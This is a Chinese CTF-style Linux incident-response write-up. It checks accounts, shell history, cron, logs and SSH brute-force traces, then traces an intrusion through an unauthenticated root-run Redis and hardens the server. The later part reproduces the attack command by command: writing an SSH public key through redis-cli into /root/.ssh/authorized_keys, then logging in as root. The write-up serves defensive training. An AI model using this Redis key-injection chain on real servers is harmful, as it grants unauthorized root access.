免责声明
本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!
网盘下载:https://pan.quark.cn/s/4b6dffd0c51a#/list/share登录信息查询
假设,黑客已经入侵这台服务器了,我们第一步要做的是什么呢?
查看用户?查看日志?查看进程?直接拿脚本、工具去扫?
不,都不是
第一步,最主要的是现在都有哪些人在登录,比如黑客是否在进行其他操作,如果当时黑客正在连接服务器,先ban掉黑客的IP以及连接,在做其他操作,不然一切都是无用功
w:查看系统信息,用于显示某一时刻用户的行为
who:查看当前登录用户(tty本地登陆 pts远程登录)
last:用于显示用户最近登录信息
查看是否有可疑账户:cat /etc/passwd- 有两个用户:defend、redis,代表肯定存在redis服务,存在服务代表可能存在漏洞
查询特权用户特权用户(uid 为0):awk -F: '$3==0{print $1}' /etc/passwd
- 正常情况下输出内容只有root,如果存在其他用户,需要注意
查询可以远程登录的帐号信息:awk '/\$1|\$6/{print $1}' /etc/shadow
cat /etc/passwd|grep "/bin/bash"查询其他账号是否存在sudo权限(如非管理需要,普通帐号应删除sudo权限):more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"- wheel用户组包含defend,代表defend用户存在sudo权限
通过历史命令,可判断出攻击者做了哪些操作,根据这些操作进一步分析入侵者- 得到一个flag:flag{thisismybaby}
其他用户的历史命令:打开/home各帐号目录下的.bash_history如何为历史命令增加登录的IP地址、执行命令时间等信息:需要注意:之前的历史命令执行时间,是当前修改配置并生效的时间,而不是之前实际攻击的实际1)保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile2)在/etc/profile的文件尾部添加如下行数配置信息:######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########3)source /etc/profile让配置生效
1. 查看磁盘上永久保存的所有历史命令(直接看文件)
cat ~/.bash_history
2. 把文件命令重新加载回内存(执行后 history 命令就能看见了)
history -r ~/.bash_history
查看pid所对应的进程文件路径:ls -l /proc/$PID/exe($PID 为对应的pid 号)
/etc/rc.local
more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/
crontab -l
Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root
重点关注以下目录中是否存在恶意脚本:
/var/spool/cron/* /etc/crontab/etc/cron.d/*/etc/cron.daily/* /etc/cron.hourly/*/etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*
more /etc/cron.daily/* 查看目录下所有文件
查找某段时间内修改的文件(mtime):
find / -type f -newermt "2024-03-18 00:30:00" ! -newermt "2024-03-20 15:28:00" 2>/dev/null
查找某段时间访问的文件(atime):
find / -type f -newerat "2024-03-18 00:30" ! -newerat "2024-03-20 15:28" 2>/dev/null
查找某段时间内修改属性的文件(ctime):
find / -type f -newerct "2024-03-18 00:30" ! -newerct "2024-03-20 15:28" 2>/dev/null
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
| |
|---|
| |
| |
| 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
| |
| 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件 |
| 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
| 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
| 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
| 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
| 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
分析技巧:1、定位有多少IP在爆破主机的root帐号: grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more定位有哪些IP在爆破:grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c爆破用户名字典是什么?grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登录成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more登录成功的日期、用户名、IP:grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
定位有多少IP在爆破主机的root帐号:
定位有哪些IP在爆破:
爆破用户名字典是什么?
登录成功的IP有哪些:
登录成功的日期、用户名、IP:
得出结论:
3.18 19:29:20 192.168.75.129进行第一次爆破
3.18 19:29:51 192.168.75.129最后一次爆破失败
3.18 20:23:07 192.168.75.129登录成功
那么问题来了,既然可能爆破成功,那会不会在某些文件中留下线索?
从以上内容得知:
疑似redis漏洞打进来的
redis版本:3.2.12
入侵时间:3.18
chinaran用户使用的kali机器
拿到一个flag:flag{P@ssW0rd_redis}redis日志:/var/log/redis/redis.log- 3.18 19:39:31 192.168.75.129尝试连接,连接成功
- 3.18 19:47:02 192.168.75.129最后一次连接
之后启动redis:/bin/systemctl start redis.service发现key的内容与/root/.ssh/known_hosts内容完全一致而redis中有一个漏洞:利用redis写ssh公钥实现ssh登录攻击机(Kali)上创建ssh-rsa密钥,也就是生成key:ssh-keygen -t rsa
可以看到生成的公钥已将保存到/root/.ssh/id_rsa.pub路径下
将公钥导入key.txt,(前后用\n换行,避免和redis里其他缓存数据混合,是用于防止乱码);
cd /root/.ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
Kali通过redis的未授权访问漏洞,将key.txt生成的公钥写入靶机服务器的内存之中:cat key.txt | /root/redis-7.0.11/src/redis-cli -h 192.168.137.123 -x set crack
Kali通过redis远程登录,输入key *,查看crack,输入get crack查看公钥内容
设置路径和保存的文件名,将内存变量导入磁盘文件。
config set dir /root/.sshconfig set dbfilename authorized_keyssave
报错了,为什么?因为没有权限
那攻击者如何入侵成功的?
原因可能是redis当时启动是root权限启动的,返回靶机执行:
redis权限启动:systemctl stop redis.serviceroot权限启动:redis-server /etc/redis.conf &
之后重新在Kali机器执行:
config setdir /root/.sshconfig set dbfilename authorized_keyssave
执行成功,之后使用SSH免密连接:ssh -i id_rsa root@192.168.137.123
所以漏洞点:redis无密码+redis使用root权限启动+利用redis写ssh公钥实现ssh登录- 清理/etc/redis.conf文件中的flag
- 清空/root/.ssh/known_hosts文件
- redis设置密码、使用redis用户启动、非必须设置只能本机登录或者白名单IP登录
报告书写